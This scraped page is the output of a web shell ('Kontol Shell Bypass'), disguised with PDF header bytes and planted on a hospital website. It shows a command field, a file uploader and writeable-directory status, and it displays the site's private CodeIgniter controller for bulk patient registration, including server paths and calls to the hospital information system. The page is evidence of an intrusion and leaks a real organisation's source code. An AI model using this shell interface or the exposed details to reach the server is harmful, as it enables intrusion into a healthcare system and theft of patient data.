%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/html/shardahospital.org/cowin/application/controllers/admin/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/html/shardahospital.org/cowin/application/controllers/admin/Bulkregistration.php
<?php
defined('BASEPATH') OR exit('No direct script access allowed');
/**
 * Description of VideoUpload
 *
 * @author : Sharda Tech Pvt. Ltd
 */
class Bulkregistration extends CI_Controller {

    //variable for storing error message
    private $error;
    //variable for storing success message
    private $success;

    function __construct() {
        parent::__construct();
        //load this to validate the inputs in upload form
    	$this->load->model(array('Events_Model','Common_Model'));
		if(! $this->session->userdata('adid'))
		redirect('admin/login');
    }

    //appends all error messages
    private function handle_error($err) {
        $this->error .= $err . "\r\n";
    }

    //appends all success messages
    private function handle_success($succ) {
        $this->success .= $succ . "\r\n";
    }

	public function index(){
		
		$data = array();
		$role_id = $this->session->userdata('adid')->role_id;
		$author_id = $this->session->userdata('adid')->id;
		
		$data['recordsArray'] = $this->Common_Model->getAllRecords('tbl_patientregistration', '*', array('is_deleted'=>'0'));
	
		$this->load->view('admin/_parts/header',$data);
		$this->load->view('admin/bulkregistration/index',$data);
		$this->load->view('admin/_parts/footer');
		setHistory('Go to manage slot listing module');
	}
	
	/*
	* Function : getRandomString
	*/
	function getRandomString($length = 6, $keyspace = '0123456789')
	{
        $pieces = [];
        $max = mb_strlen($keyspace, '8bit') - 1;
        for ($i = 0; $i < $length; ++ $i) {
            $pieces[] = $keyspace[rand(0, $max)];
        }
        return implode('', $pieces);
    }
	
	/*
	* Function: bulkupload
	*
	*/	

	public function bulkupload() {
		
		$userArray = $this->session->userdata('adid');
		$user_id = $userArray->id;
	    if(isset($_POST["submit"]))
		{
			$file = $_FILES['program_file']['tmp_name'];
			$handle = fopen($file, "r");
			$c = 0;
			$postArray = array();
			while(($filesop = fgetcsv($handle, 1000, ",")) !== false)
			{
				$facility_code  = $filesop[0];
				$title = $filesop[1];
				$first_name  = $filesop[2];
				$last_name  = $filesop[3];
				$dobArray = explode('-',$filesop[4]);
				$dob   = $dobArray[0].'-'.$dobArray[1].'-'.$dobArray[2];
				$gender    = $filesop[5];
				$address1 = $filesop[6];
				$city = $filesop[7];
				$state = $filesop[8];
				$country = $filesop[9];
				$mobile = $filesop[10];
				$email = $filesop[11];
				$user_id    = $user_id;
				$titleList = $this->Common_Model->getCommonSingleLikeRecord('tbl_title_master','*',array('name'=>$title));
				$cityList = $this->Common_Model->getCommonSingleLikeRecord('tbl_city','*',array('city_name'=>$city));
				$stateList = $this->Common_Model->getCommonSingleLikeRecord('tbl_states','*',array('state_name'=>$state));
				$gender = $titleList['id'];
				$title_id = $titleList['id'];
				$city_id = $cityList['id'];
				$state_id = $stateList['id'];
				$country_id ='74';
				$otp = generate_otp();
					
				$appointmentcount = $this->Common_Model->registrationCount('tbl_patientregistration','id', array('status'=>'1'));
				$registration_no = 'SH'.$this->getRandomString('4').date('md').$appointmentcount;
		
				// Get All details 
				if($c<>0){	
				//print_r($filesop); //die;
				//print_r($filesop); die('Test');
					// Seve data in internal Table
					$postArray = array();
					$rowData = $this->Common_Model->getCommonSingleRecord('tbl_patientregistration', 'id,his', array('mobile_no'=>$mobile));
					
					if($rowData['id']>0) {
						$postArray['facility_code'] = $facility_code;
						$postArray['mobile_no'] = $mobile;
						$postArray['email_id'] = $email;
						$postArray['facility_code'] = $facility_code;
						$postArray['gender'] = $gender;
						$postArray['first_name'] = $first_name;
						$postArray['title_id'] = $title_id;
						$postArray['last_name'] = $last_name;
						$postArray['address1'] = $address1;
						$postArray['city_id'] = $city_id;
						$postArray['state_id'] = $state_id;
						$postArray['country_id'] = $country_id;
						$postArray['dob'] = $dob;
						$postArray['modifiedon '] = date('Y-m-d H:i:s');
						//print_r($postArray); die;
						$resp = $this->setPatientDetails($postArray);
						$apiResp  = json_decode($resp);
						$postArray['his'] = $apiResp->RegistrationNo;
						$id = $rowData['id'];
						$this->Common_Model->updateinfo('tbl_patientregistration',$postArray,'id',$id);
					} else {
							$postArray['facility_code'] = $facility_code;
							$postArray['mobile_no'] = $mobile;
							$postArray['email_id'] = $email;
							$postArray['facility_code'] = $facility_code;
							$postArray['gender'] = $gender;
							$postArray['first_name'] = $first_name;
							$postArray['title_id'] = $title_id;
							$postArray['last_name'] = $last_name;
							$postArray['address1'] = $address1;
							$postArray['city_id'] = $city_id;
							$postArray['state_id'] = $state_id;
							$postArray['country_id'] = $country_id;
							$postArray['registration_no'] = $registration_no;
							$postArray['dob'] = $dob;
							$postArray['user_id'] = $user_id;
							$postArray['createdon'] = date('Y-m-d H:i:s');
						//print_r($postArray); die;
						$resp = $this->setPatientDetails($postArray);
						$apiResp  = json_decode($resp);
						$postArray['his'] = $apiResp->RegistrationNo;
						$this->Common_Model->saveinfo('tbl_patientregistration',$postArray);
					}
				}
				$c = $c + 1;
			}
		}
		setHistory('Bulk data uploaded successfully');
		redirect('admin/bulkregistration');
	}	
	/*
	* Function: resendforhis
	*
	*/	
	function resendforhis($id){
		$data = $this->Events_Model->getSingleRecord('tbl_slot_master',' * ', array('id'=>$id));
		if($id){
			$this->setPatientDetails($data);
			setHistory('Slot deleted successfully');
			redirect('admin/manageslots');
		}
		
	}
	

	/*
	* Function : setPatientDetails
	*
	*/
	function setPatientDetails($data)
	{
		
		$dob = str_replace(array('-','/'),'-',$data['dob']);
		//$dob = str_replace(array('-','/'),'-','2020-02-10');
		
		$post = ["FacilityCode"=> $data['facility_code'],"SourcePatientId"=>"","TitleId"=>$data['title_id'],"firstName"=> $data['first_name'],"middleName"=> '',"lastName"=> $dat['last_name'],"dob"=>"$dob","gender"=>$data['gender'],"Address1"=>$data['address1'],"Address2"=>'',"cityCode"=>$data['city_id'],"stateCode"=>$data['state_id'],"countryCode"=>$data['country_id'], "mobilePhone"=>$data['mobile_no'],"PinCode"=>'',"MaritalStatus"=>'',"appointmentId"=>$data['registration_no'],"NationalityId"=>"0","LeadSourceId"=>"","RegistrationSource"=>"0","NationalityId"=>"0","NationalityId"=>"0","PAddress1"=>$data['address1'],"PAddress2"=>'',"PcityCode"=>$data['city_id'],"PstateCode"=>$data['state_id'],"PcountryCode"=>$data['country_id'],"PPinCode"=>'',"EmailId"=>$data['email_id']];
		//print_r($post);// die;
		$response = postExistingRequest('CreatePatient',json_encode($post));
		//print_r($response); die;
		return $response;
		
	}
	
	function addslot($id='')
	{
		$data = array();
		$role_id = $this->session->userdata('adid')->role_id;
		$author_id = $this->session->userdata('adid')->id;
		
		if($_POST){
			$this->form_validation->set_rules('title','Slot Title','required');
			$this->form_validation->set_rules('status','Status','required');
			
			if($this->form_validation->run())
			{
				$title = $this->input->post('title');
				$code = $this->input->post('code');
				$display_order = $this->input->post('display_order');
				$status = $this->input->post('status');
				
				$data = array(
					'title'=>$title,
					'code'=>$code,
					'display_order'=>$display_order,
					'ip_address'=>get_client_ip(),
					'status'=>$status
				);
							
				if($this->input->post('id')){
					$id = $this->input->post('id');
					$this->Events_Model->updateinfo($tbl_name='tbl_slot_master',$data,'id',$id);
					setHistory('Slot updated successfully');
				} else {
					$data['createdon'] = date('Y-m-d H:i:s');
					$eventId = $this->Events_Model->saveinfo($tbl_name='tbl_slot_master',$data);
					// Save Data In tbl_event_date_time
				}
				redirect('admin/manageslots');
				
			} else {
				$this->load->view('admin/_parts/header',$data);
				$this->load->view('admin/manageslots/addslot',$data);
				$this->load->view('admin/_parts/footer');
			}	

		} else { 
			if($id>0){
				$data['sd'] = $sd = $this->Events_Model->getSingleRecord('tbl_slot_master',' * ', array('id'=>$id));
			}
		
			$this->load->view('admin/_parts/header',$data);
			$this->load->view('admin/manageslots/addslot',$data);
			$this->load->view('admin/_parts/footer');
			setHistory('Go to manage slot listing module');
		}
	}
	
	
	function deleteslot($id){
		$data = array();
		$role_id = $this->session->userdata('adid')->role_id;
		$author_id = $this->session->userdata('adid')->id;
		if($id){
			$this->Events_Model->deleteRecord($tbl_name='tbl_slot_master','id',$id);
			setHistory('Slot deleted successfully');
			redirect('admin/manageslots');
		}
		
	}
	
}

Kontol Shell Bypass